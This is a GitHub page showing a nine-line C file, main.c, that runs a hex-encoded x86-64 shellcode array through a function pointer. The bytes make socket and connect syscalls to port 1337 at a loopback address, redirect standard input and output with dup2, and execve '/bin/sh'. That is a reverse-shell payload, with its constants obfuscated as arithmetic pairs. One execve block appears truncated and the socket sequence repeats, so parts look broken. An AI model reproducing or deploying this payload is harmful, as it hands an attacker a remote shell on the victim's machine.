-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.c
More file actions
9 lines (8 loc) · 2.16 KB
/
main.c
File metadata and controls
9 lines (8 loc) · 2.16 KB
1
2
3
4
5
6
7
8
9
int main(int argc, char **argv)
{
char code[] =
"\x48\x31\xff\xbe\xff\x00\x00\x00\x48\x81\xee\xff\x00\x00\x00\xba\xff\x00\x00\x00\x48\x81\xea\xff\x00\x00\x00\xb8\xff\x00\x00\x00\x48\x2d\xff\x00\x00\x00\x40\xb7\x02\x40\xb6\x01\xb0\x29\x0f\x05\x49\x89\xc4\x4c\x89\xe7\x48\x31\xf6\xba\x01\x00\x00\x00\x48\xff\xca\xb8\xff\x00\x00\x00\x48\x2d\xff\x00\x00\x00\xbe\xff\xff\xff\xff\x81\xee\x80\xff\xff\xfe\x56\x66\x68\x05\x39\x66\x6a\x02\x48\x89\xe6\xb2\x18\xb0\x2a\x0f\x05\xbe\x01\x00\x00\x00\x48\xff\xce\xb8\xff\x00\x00\x00\x48\x2d\xff\x00\x00\x00\x41\x53\x4d\x89\xe3\x4c\x89\xdf\x41\x5b\x40\xb6\xff\x40\x80\xee\xff\xb0\x21\x0f\x05\xbe\xff\x00\x00\x00\x48\x81\xee\xff\x00\x00\x00\x48\x31\xc0\x41\x54\x5f\x40\xb6\x01\xb0\x21\x0f\x05\x68\xff\x00\x00\x00\x5e\x48\x81\xee\xff\x00\x00\x00\x56\x48\x31\xf6\x48\x89\xf0\x5e\x51\x41\x54\x59\x48\x89\xcf\x59\x40\xb6\x02\xb0\x21\x0f\x05\x31\xc0\x56\x48\x31\xf6\x48\x89\xf7\x5e\x68\xff\x00\x00\x00\x5a\x48\x81\xea\xff\x00\x00\x00\xbe\x01\x00\x00\x00\x48\xff\xce\x68\x2f\x2f\x62\x69\x5f\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x83\xc0\x3b\x0f\x05\xbf\x01\x00\x00\x00\x48\xff\xcf\x48\x31\xf6\xba\x01\x00\x00\x00\x48\xff\xca\xb8\xff\x00\x00\x00\x48\x2d\xff\x00\x00\x00\x40\xb7\x02\x40\xb6\x01\xb0\x29\x0f\x05\x41\x53\x50\x41\x5b\x4d\x89\xdc\x41\x5b\x53\x4c\x89\xe3\x48\x89\xdf\x5b\x41\x54\x4d\x31\xe4\x4c\x89\xe6\x41\x5c\xba\x01\x00\x00\x00\x48\xff\xca\xb8\x01\x00\x00\x00\x48\xff\xc8\xbe\xff\xff\xff\xff\x81\xee\x80\xff\xff\xfe\x56\x66\x68\x05\x39\x66\x6a\x02\x48\x89\xe6\xb2\x18\xb0\x2a\x0f\x05\x41\x54\x4d\x31\xe4\x4c\x89\xe6\x41\x5c\x68\xff\x00\x00\x00\x58\x48\x2d\xff\x00\x00\x00\x41\x52\x4d\x89\xe2\x4c\x89\xd7\x41\x5a\x40\xb6\xff\x40\x80\xee\xff\xb0\x21\x0f\x05\x48\x31\xf6\xb8\x01\x00\x00\x00\x48\xff\xc8\x41\x54\x5f\x40\xb6\x01\xb0\x21\x0f\x05\x48\x31\xf6\xb8\xff\x00\x00\x00\x48\x2d\xff\x00\x00\x00\x41\x54\x5f\x40\xb6\x02\xb0\x21\x0f\x05\x31\xc0\x68\xff\x00\x00\x00\x5f\x48\x81\xef\xff\x00\x00\x00\xba\x01\x00\x00\x00\x48\xff\xca\x68\xff\x00\x00\x00\x5e\x48\x81\xee\xff\x00\x00\x00\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x83\xc0\x3b\x0f\x05";
int (*func)();
func = (int (*)())code;
(int)(*func)();
}